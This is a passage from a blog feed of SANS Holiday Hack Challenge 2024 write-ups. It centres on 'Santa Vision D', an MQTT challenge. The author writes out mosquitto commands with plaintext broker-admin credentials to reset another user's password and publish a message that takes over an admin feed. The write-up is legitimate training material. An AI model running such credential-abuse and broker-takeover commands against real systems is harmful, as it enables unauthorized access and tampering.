&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;tinsel.wrap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;snowy.land&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; I could have taken a look at the list and notice the domain but I already had a bruteforce script and I didn’t had enough neurons alive to not use it :) The answer is &lt;code&gt;rud01ph.glow&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-24-With-a-fiery-tail-seen-once-in-great-years-what’s-the-domain-for-the-reindeer-who-flies-without-fears&#34;&gt;&lt;a href=&#34;#Question-24-With-a-fiery-tail-seen-once-in-great-years-what’s-the-domain-for-the-reindeer-who-flies-without-fears&#34; class=&#34;headerlink&#34; title=&#34;Question 24: With a fiery tail seen once in great years, what’s the domain for the reindeer who flies without fears?&#34;&gt;&lt;/a&gt;Question 24: With a fiery tail seen once in great years, what’s the domain for the reindeer who flies without fears?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Same approach of the previous answer led to the answer &lt;code&gt;c0m3t.halleys&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Thanks-to-orangepeelbeef&#34;&gt;&lt;a href=&#34;#Thanks-to-orangepeelbeef&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @orangepeelbeef&#34;&gt;&lt;/a&gt;Thanks to @orangepeelbeef&lt;/h2&gt;&lt;p&gt;ChatGPT’s 700 fricking fields:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-13-Elf-Stack/13_99_700_fricking_fields.webp&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;Thanks-to-ProfessorX&#34;&gt;&lt;a href=&#34;#Thanks-to-ProfessorX&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @ProfessorX&#34;&gt;&lt;/a&gt;Thanks to @ProfessorX&lt;/h2&gt;&lt;p&gt;My work here is done 🙂&lt;/p&gt;
&lt;h2 id=&#34;Thanks-to-Shuckle-Lord-Mixone&#34;&gt;&lt;a href=&#34;#Thanks-to-Shuckle-Lord-Mixone&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @Shuckle Lord Mixone&#34;&gt;&lt;/a&gt;Thanks to @Shuckle Lord Mixone&lt;/h2&gt;&lt;p&gt;Grepped the hell out of the logs and somehow I noticed it :)&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act3" />
        <category term="Elf Stack" />
        <category term="Fitzy Shortstack" />
        <updated>2025-01-03T13:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-04-Santa-Vision-D/</id>
        <title>Santa Vision D</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-04-Santa-Vision-D/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄ ❄&lt;/span&gt; ❄&lt;br&gt;There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds feed. What type of contraption do you see Santa on?&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;p&gt;&lt;em&gt;From: Ribb Bonbowford&lt;/em&gt;&lt;br&gt;(Gold hint) Think about the kind of ride Santa would take in a world filled with innovation. His vehicle of choice might surprise you—pay attention to the futuristic details.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;From: Ribb Bonbowford&lt;/em&gt;&lt;br&gt;(Gold hint) Look beyond the surface. Headers and subtle changes might just open new doors. Pay close attention to everything as you log in.&lt;/p&gt;
&lt;h2 id=&#34;Silver&#34;&gt;&lt;a href=&#34;#Silver&#34; class=&#34;headerlink&#34; title=&#34;Silver&#34;&gt;&lt;/a&gt;Silver&lt;/h2&gt;&lt;h3 id=&#34;Powering-on-the-monitors&#34;&gt;&lt;a href=&#34;#Powering-on-the-monitors&#34; class=&#34;headerlink&#34; title=&#34;Powering on the monitors&#34;&gt;&lt;/a&gt;Powering on the monitors&lt;/h3&gt;&lt;p&gt;To be able to observe the results of this action the monitors need to be working.&lt;/p&gt;
&lt;h4 id=&#34;MQTTconnect&#34;&gt;&lt;a href=&#34;#MQTTconnect&#34; class=&#34;headerlink&#34; title=&#34;MQTTconnect&#34;&gt;&lt;/a&gt;MQTTconnect&lt;/h4&gt;&lt;p&gt;Looking at the source of the file &lt;code&gt;mqttJS.js&lt;/code&gt;, I noticed the function &lt;code&gt;MQTTconnect&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;MQTTconnect&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;getElementById&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;messages&amp;quot;&lt;/span&gt;).&lt;span class=&#34;property&#34;&gt;innerHTML&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; host = &lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;forms&lt;/span&gt;[&lt;span class=&#34;string&#34;&gt;&amp;quot;connform&amp;quot;&lt;/span&gt;][&lt;span class=&#34;string&#34;&gt;&amp;quot;server&amp;quot;&lt;/span&gt;].&lt;span class=&#34;property&#34;&gt;value&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; port = &lt;span class=&#34;built_in&#34;&gt;parseInt&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;forms&lt;/span&gt;[&lt;span class=&#34;string&#34;&gt;&amp;quot;connform&amp;quot;&lt;/span&gt;][&lt;span class=&#34;string&#34;&gt;&amp;quot;port&amp;quot;&lt;/span&gt;].&lt;span class=&#34;property&#34;&gt;value&lt;/span&gt;); &lt;span class=&#34;comment&#34;&gt;//9001&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	userInit = &lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;forms&lt;/span&gt;[&lt;span class=&#34;string&#34;&gt;&amp;quot;connform&amp;quot;&lt;/span&gt;][&lt;span class=&#34;string&#34;&gt;&amp;quot;username&amp;quot;&lt;/span&gt;].&lt;span class=&#34;property&#34;&gt;value&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	user = userInit + playerAppend;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; pass = &lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;forms&lt;/span&gt;[&lt;span class=&#34;string&#34;&gt;&amp;quot;connform&amp;quot;&lt;/span&gt;][&lt;span class=&#34;string&#34;&gt;&amp;quot;pwd&amp;quot;&lt;/span&gt;].&lt;span class=&#34;property&#34;&gt;value&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; (host == &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt; || port == &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt; || user == &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt; || pass == &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;getElementById&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;messages&amp;quot;&lt;/span&gt;).&lt;span class=&#34;property&#34;&gt;innerHTML&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;quot;Please provide missing values.&amp;quot;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		textarea = &lt;span class=&#34;variable language_&#34;&gt;document&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;getElementById&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;messages&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		textarea.&lt;span class=&#34;property&#34;&gt;style&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;height&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;#x27;auto&amp;#x27;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		textarea.&lt;span class=&#34;property&#34;&gt;style&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;height&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;`&lt;span class=&#34;subst&#34;&gt;$&amp;#123;textarea.scrollHeight&amp;#125;&lt;/span&gt;px`&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;false&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&amp;#125; &lt;span class=&#34;keyword&#34;&gt;else&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		clientConnect = &lt;span class=&#34;string&#34;&gt;&amp;quot;/mqtt?clientConnect=&amp;quot;&lt;/span&gt; + userInit;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; connectResponse = &lt;span class=&#34;title function_&#34;&gt;fetch&lt;/span&gt;(clientConnect);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; svclientId = userInit + &lt;span class=&#34;string&#34;&gt;&amp;quot;-ClientId&amp;quot;&lt;/span&gt; + playerAppend;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;variable language_&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;connecting to &amp;quot;&lt;/span&gt; + host + &lt;span class=&#34;string&#34;&gt;&amp;quot; &amp;quot;&lt;/span&gt; + port);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		mqtt = &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Paho&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;MQTT&lt;/span&gt;.&lt;span class=&#34;title class_&#34;&gt;Client&lt;/span&gt;(host, port, svclientId);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; options = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;invocationContext&lt;/span&gt;: &amp;#123; &lt;span class=&#34;attr&#34;&gt;host&lt;/span&gt;: host, &lt;span class=&#34;attr&#34;&gt;port&lt;/span&gt;: port, &lt;span class=&#34;attr&#34;&gt;clientId&lt;/span&gt;: svclientId &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;userName&lt;/span&gt;: user,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;password&lt;/span&gt;: pass,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;timeout&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;keepAliveInterval&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;30&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;onSuccess&lt;/span&gt;: onConnect,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;			&lt;span class=&#34;attr&#34;&gt;onFailure&lt;/span&gt;: onFailure&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		mqtt.&lt;span class=&#34;property&#34;&gt;onConnectionLost&lt;/span&gt; = onConnectionLost;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		mqtt.&lt;span class=&#34;property&#34;&gt;onMessageArrived&lt;/span&gt; = onMessageArrived;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		mqtt.&lt;span class=&#34;title function_&#34;&gt;connect&lt;/span&gt;(options);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;		&lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;false&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;	&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;The comment suggests the port 9001, which was seen open in Santa Vision A.&lt;br&gt;Additionally, debugging this file shows that the string &lt;code&gt;-viewer&lt;/code&gt; is appended to the username:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;string&#34;&gt;&amp;quot;invocationContext&amp;quot;&lt;/span&gt;: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;host&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;34.133.187.95&amp;quot;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;port&amp;quot;&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;9001&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;clientId&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;test-ClientId-viewer&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;string&#34;&gt;&amp;quot;userName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;test-viewer&amp;quot;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;string&#34;&gt;&amp;quot;password&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;test&amp;quot;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;string&#34;&gt;&amp;quot;timeout&amp;quot;&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;string&#34;&gt;&amp;quot;keepAliveInterval&amp;quot;&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;30&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h4 id=&#34;elfmonitor&#34;&gt;&lt;a href=&#34;#elfmonitor&#34; class=&#34;headerlink&#34; title=&#34;elfmonitor&#34;&gt;&lt;/a&gt;elfmonitor&lt;/h4&gt;&lt;p&gt;Having found the &lt;code&gt;elfmonitor&lt;/code&gt; user in Santa Vision B, that looked like an interesting user to analyze further. So I went ahead and changed the password for &lt;code&gt;elfmonitor-viewer&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec setClientPassword elfmonitor-viewer password&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Then I used these credentials to power on the monitors on the webpage and connect to the &lt;code&gt;northpolefeeds&lt;/code&gt; showing a number of elfy guerrilla pictures:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-12-04-Santa-Vision-D/12_04_01_SantaVisionD_Guerrilla.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;The-“contraption”&#34;&gt;&lt;a href=&#34;#The-“contraption”&#34; class=&#34;headerlink&#34; title=&#34;The “contraption”&#34;&gt;&lt;/a&gt;The “contraption”&lt;/h3&gt;&lt;p&gt;Listening on the &lt;code&gt;santafeed&lt;/code&gt;, I eventually noticed the &lt;code&gt;singleAdminMode=false&lt;/code&gt; message:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD -t &lt;span class=&#34;string&#34;&gt;&amp;#x27;santafeed&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;santafeed singleAdminMode=&lt;span class=&#34;literal&#34;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;By sending the message &lt;code&gt;singleAdminMode=true&lt;/code&gt; on &lt;code&gt;santafeed&lt;/code&gt;, the images changes to Santa’s images:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-12-04-Santa-Vision-D/12_04_02_SantaVisionD_SantaTop.png&#34;&gt;&lt;br&gt;Having no clue what name this thing has, I asked ChatGPT that told me it’s a &lt;code&gt;pogo stick&lt;/code&gt; and it worked as the answer to the silver trophy.&lt;/p&gt;
&lt;h2 id=&#34;Gold&#34;&gt;&lt;a href=&#34;#Gold&#34; class=&#34;headerlink&#34; title=&#34;Gold&#34;&gt;&lt;/a&gt;Gold&lt;/h2&gt;&lt;p&gt;To get the gold trophy I needed to login with the &lt;code&gt;santaSiteAdmin&lt;/code&gt; user from Santa Vision A and then analyzing the headers I noticed the username and password for &lt;code&gt;santashelper2024&lt;/code&gt; were being passed in clear:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-12-04-Santa-Vision-D/12_04_03_SantaVisionD_headers.png&#34;&gt;&lt;br&gt;With these credentials I obtained the same guerrilla images from before. Instead, using the &lt;code&gt;santashelper&lt;/code&gt; credentials and sending the &lt;code&gt;singleAdminMode=true&lt;/code&gt; message on &lt;code&gt;santafeed&lt;/code&gt; with mosquitto got Santa a new contraption:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_pub -h 34.44.88.211 -p 1883 -u santashelper2024 -P playerSantaHelperPass4365783088 -t santafeed -m &lt;span class=&#34;string&#34;&gt;&amp;quot;singleAdminMode=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&#34;/2025/01/03/2024-12-04-Santa-Vision-D/12_04_04_SantaVisionD_SantaHover.png&#34;&gt;&lt;br&gt;Also here, ChatGPT told me this is a &lt;code&gt;hovercraft&lt;/code&gt; which is the answer to obtain the gold trophy.&lt;/p&gt;
&lt;h2 id=&#34;Thanks-to-Shuckle-Lord-Mixone&#34;&gt;&lt;a href=&#34;#Thanks-to-Shuckle-Lord-Mixone&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @Shuckle Lord Mixone&#34;&gt;&lt;/a&gt;Thanks to @Shuckle Lord Mixone&lt;/h2&gt;&lt;p&gt;Because…changing a user’s password is not always the right thing to do :)&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act3" />
        <category term="Santa Vision" />
        <category term="Ribb Bonbowford" />
        <category term="Santa Vision D" />
        <updated>2025-01-03T12:04:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-03-Santa-Vision-C/</id>
        <title>Santa Vision C</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-03-Santa-Vision-C/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄ ❄&lt;/span&gt; ❄&lt;br&gt;Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation?&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;p&gt;&lt;em&gt;From: Ribb Bonbowford&lt;/em&gt;&lt;br&gt;(Gold hint) Sometimes the answers are in the quiet moments. Pay attention to every feed and signal—you may find what you’re looking for hidden deep in the streams.&lt;/p&gt;
&lt;h2 id=&#34;Silver&#34;&gt;&lt;a href=&#34;#Silver&#34; class=&#34;headerlink&#34; title=&#34;Silver&#34;&gt;&lt;/a&gt;Silver&lt;/h2&gt;&lt;p&gt;Listening on the &lt;code&gt;santafeed&lt;/code&gt; feed one message caught my attention:&lt;/p&gt;
